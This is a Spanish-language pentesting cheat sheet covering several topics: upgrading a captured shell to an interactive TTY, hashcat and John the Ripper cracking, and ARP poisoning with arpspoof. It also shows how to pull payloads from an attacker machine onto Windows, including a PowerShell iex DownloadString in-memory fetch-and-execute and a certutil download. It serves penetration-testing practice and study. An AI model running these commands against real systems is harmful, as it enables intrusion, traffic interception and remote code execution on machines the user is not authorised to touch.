> For the complete documentation index, see [llms.txt](https://w0lf-f4ng.gitbook.io/cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://w0lf-f4ng.gitbook.io/cheat-sheet/miscelaneos.md).

# Misceláneos

## Tratar shell para obtener shell interactiva <a href="#user-content-tratar-shell" id="user-content-tratar-shell"></a>

{% tabs %}
{% tab title="TTY Shell" %}

#### Python

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

#### Perl

```bash
perl -e 'exec "/bin/bash";'
# Opción dentro de Perl
perl: exec "/bin/bash";
```

#### System

```bash
echo os.system('/bin/bash')
/bin/bash -i
/bin/sh -i
```

#### Ruby

```bash
ruby: exec "/bin/bash"
```

#### Lua

```bash
os.execute('/bin/bash')
```

#### IRB

```bash
# Opción dentro de IRB
exec "/bin/bash"
```

#### Vi

```bash
# Primera opción dentro de Vi
:!bash
# Segunda opción dentro de Vi
:set shell=/bin/bash:shell
```

#### NMAP

```bash
# Shell interactiva de NMAP (versiones 2.02 a 5.21): nmap --interactive
!sh
```

{% endtab %}

{% tab title="Shell Full Interactiva" %}

```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
stty raw -echo; fg
reset
xterm
export TERM=xterm-256color
export SHELL=bash
stty rows 52 columns 187
```

{% endtab %}
{% endtabs %}

## Networking

{% tabs %}
{% tab title="Ver tabla de rutas" %}

* Linux:

```bash
ip route
route -n
```

* Windows:

```bash
route print
```

* macOS:

```bash
netstat -r
```

{% endtab %}

{% tab title="Rutas estáticas" %}

* Linux:

```bash
ip route add NETWORK via GW dev INTERFACE
ip route add 172.16.0.0/16 via 192.168.1.1 dev eth0
ip route add deafult via 192.168.1.1 dev eth0
```

* Windows:

```bash
route add NETWORK mask MASK GW
route add 192.168.35.0 mask 255.255.255.0 192.168.1.1
```

{% endtab %}
{% endtabs %}

## Cracking

{% tabs %}
{% tab title="Cracking Web" %}

* [CrackStation](https://crackstation.net/)
* [Hashes](https://hashes.com/en/decrypt/hash)
  {% endtab %}

{% tab title="Cracking con hashcat" %}

* [ID de Hashes a crackear](https://hashcat.net/wiki/doku.php?id=hashcat)

Lo primero es instalar CUDA en nuestro PC, el enlace es el [siguiente](https://developer.nvidia.com/cuda-downloads).

Reiniciamos la maquina y descargamos [Hashcat](https://hashcat.net/hashcat/).

Luego de tener Hashcat y CUDA instalados, ejecutamos un benchmark para optimizar los crackeos:

```bash
hashcat -b
```

Con el benchmark terminado, ejecutamos un cracking usando [rockyou.txt](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt):

```batch
hashcat -m <HASH_ID> -a 0 hash.txt rockyou.txt
```

* `-a 0` corresponde a un ataque de diccionario

Si no funciona, usamos rockyou.txt con [reglas](https://github.com/W0lfF4ng/CheatSheet/blob/main/tools/OneRuleToRuleThemAll.rule):

```batch
hashcat -m <HASH_ID> -a 0 hash.txt rockyou.txt -O -r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule
```

* `-O` optimiza el performance del crackeo, pero limita el resultado a 32 caracteres
* `-r rules/OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule` indicamos que usaremos dichas reglas para mejorar la busqueda con el diccionario que tenemos

> El archivo `OneRuleToRuleThemAll.rule` debe estar almacenado en el directorio `rules` dentro de la carpeta de Hashcat

Si esto no funciona, usamos fuerza bruta:

```batch
hashcat -m <HASH_ID> -a 3 hash.txt -O
```

* `-a 3` indicamos que realizaremos un ataque de fuerza bruta
  {% endtab %}

{% tab title="Cracking con JTR" %}

#### Cracking SSH Private key passphrase

```bash
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash -wordlist=/usr/share/wordlists/rockyou.txt
```

#### Cracking hash LM/NTLMv1

```bash
john --format=netlm hashpwd_netntlm
```

{% endtab %}
{% endtabs %}

## MiTM

### ARP Poisoning

Este ataque permite interceptar tráfico de una red manipulando la tabla ARP de los demás (ataque man-in-the-middle, MITM). El ataque se logra enviando mensajes Gratuitous ARP Replies (mensajes ARP Reply no solicitados).

El atacante puede evitar que el envenenamiento expire un mensaje Gratuitous ARP Reply cada 30 segundos (por ejemplo).

#### ARPspoof

Arpspoof es una herramienta de la colección Dsniff, la cual, permite realizar ataques de ARP spoofing.

```bash
arpspoof -i [interface] -t [target] -r [host]
```

* Ataque usando ARPspoof

Habilitar reenvío de paquetes:

```bash
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Lanzar ARPspoof:

```bash
arpspoof -i eth0 -t 192.168.1.12 -r 192.168.1.30
```

## Descargar Archivos

### Windows

{% tabs %}
{% tab title="SMB" %}

* Máquina atacante:

```bash
python3 /usr/share/doc/python3-impacket/examples/smbserver.py tmp .
```

* Máquina Windows:

```batch
copy \\<ip_attack_machine>\tmp\<file_name> <local_path>
```

{% endtab %}

{% tab title="PowerShell" %}

#### Descargar en memoria

* Servidor web en Python:

```bash
sudo python3 -m http.server <port>
```

* Descarga usando PowerShell:

```powershell
iex (New-Object Net.WebClient).DownloadString("http://<ip_attack_machine:port>/<file_name>")
```

* Descarga usando PowerShell usando CMD:

```batch
powershell.exe iex (New-Object Net.WebClient).DownloadString('http://<ip_attack_machine:port>/<file_name>')
```

> Tener en cuenta que si descargamos directo desde PowerShell, debemos usar comillas dobles, y desde una terminal de Windows, usamos comillas simples.

#### Descargar en disco

* Servidor web en Python:

```bash
sudo python3 -m http.server <port>
```

* Descarga usando PowerShell:

```powershell
$downloader = New-Object System.Net.WebClient
$payload = "http://<ip_attack_machine:port>/<file_name>"
$local_file = "C:\Temp\payload.exe"
$downloader.DownloadFile($payload,$local_file)
```

{% endtab %}

{% tab title="Certutil" %}

* Servidor web en Python:

```bash
sudo python3 -m http.server <port>
```

* Descarga usando PowerShell:

```batch
certutil -urlcache -split -f http://<ip_attack_machine:port>/<file_name> <file_paht\file_name>
```

{% endtab %}
{% endtabs %}

## Servidores Web

{% tabs %}
{% tab title="Python" %}
Python2:

```bash
python -m SimpleHTTPServer 7331
```

Python3:

```bash
python3 -m http.server 7331
```

{% endtab %}

{% tab title="PHP" %}

```bash
php -S 0.0.0.0:8000
```

{% endtab %}

{% tab title="Ruby" %}

```bash
ruby -run -e httpd . -p 9000
```

{% endtab %}

{% tab title="Busybox" %}

```bash
busybox httpd -f -p 10000
```

{% endtab %}
{% endtabs %}
